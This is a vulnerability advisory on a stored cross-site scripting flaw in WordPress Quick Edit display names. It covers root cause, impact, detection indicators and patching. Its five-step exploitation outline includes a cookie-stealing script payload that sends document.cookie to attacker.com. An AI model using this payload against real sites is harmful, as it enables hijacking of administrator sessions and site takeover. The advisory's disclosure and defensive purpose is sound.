CVE-2026-114570: 
WordPress vulnerability analysis and mitigation

CVE-2026-114570 is a Stored Cross-Site Scripting (XSS) vulnerability in WordPress Core affecting all versions up to and including 7.0.2. The flaw exists in the Quick Edit feature due to insufficient escaping of user display names, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into administrative screens. The vulnerability is notably constrained to sites with a large number of users. It was published on October 22, 2026, with a patch available in WordPress 7.0.3. The CVSS v3.1 base score is 4.9 (Medium) (GitHub Advisory, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). WordPress Core fails to properly escape user display names when rendering them in the Quick Edit interface within the administrative backend. An authenticated attacker with at least Contributor-level privileges can set their display name to a malicious JavaScript payload; when a higher-privileged user (e.g., Administrator or Editor) accesses the affected administrative screens, the script executes in their browser context. The attack vector is network-based with high attack complexity, and the condition that the site must have a large number of users (likely causing pagination or list rendering that surfaces the unescaped value) limits the exploitability surface (GitHub Advisory, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a higher-privileged WordPress user (e.g., Administrator) when they access affected administrative screens. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and limited data exposure. Availability is not directly impacted, but confidentiality and integrity are both assessed as low-level impacts due to the scoped nature of the XSS execution (GitHub Advisory, Wordfence).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (Wordfence). The EPSS score is 0.0, indicating a very low probability of exploitation in the near term (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at Contributor level or above and is further constrained to WordPress sites with a large number of users, reducing the overall attack surface.

1. Gain Contributor Access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
2. Set Malicious Display Name: Navigate to the user profile settings and change the display name to a JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a more subtle payload that avoids obvious detection.
3. Ensure Large User Count Condition: Confirm the target site has a large number of users, as this is a prerequisite for the vulnerable code path in the Quick Edit interface to render the unescaped display name.
4. Wait for Admin Interaction: The injected script executes when a higher-privileged user (Editor, Administrator) navigates to the affected administrative screen (e.g., the Users list page with Quick Edit enabled) in the WordPress dashboard.
5. Harvest Results: Collect stolen session cookies, credentials, or perform actions in the admin's browser context, such as creating a new administrator account for persistent access (GitHub Advisory, Wordfence).

• Logs: WordPress access logs showing requests to /wp-admin/users.php or similar admin user-list pages from high-privileged accounts shortly after a Contributor-level user modified their display name; unexpected outbound HTTP requests from the admin's browser session to external domains.
• Database: WordPress wp_users or wp_usermeta table entries where display_name contains HTML tags, <script> elements, JavaScript event handlers (e.g., onerror, onload), or encoded variants thereof.
• Network: Outbound connections from administrator browsers to unknown external IPs or domains immediately following access to WordPress admin user management screens; DNS queries for attacker-controlled domains originating from admin workstations.
• File System: Unexpected new administrator accounts created in wp_users; newly installed plugins or themes not authorized by legitimate admins, potentially indicating post-exploitation persistence.

WordPress has released version 7.0.3 which addresses this vulnerability; all site operators should update immediately (WordPress Release). The fix is also available via the changeset at the WordPress core repository (WordPress Trac). As interim mitigations: restrict Contributor-level access to only fully trusted users; audit existing user display names for suspicious content; and implement a Content Security Policy (CSP) header on administrative areas to limit unauthorized script execution. Sites not meeting the large-user-count condition are not affected, but upgrading remains the recommended action regardless.

The vulnerability was reported and coordinated by Wordfence, which published a threat intelligence entry upon disclosure (Wordfence). The GitHub Advisory Database classified it as Moderate severity and marked it as unreviewed at time of publication (GitHub Advisory). No significant broader media coverage or notable researcher commentary beyond standard vulnerability aggregator postings has been observed at this time.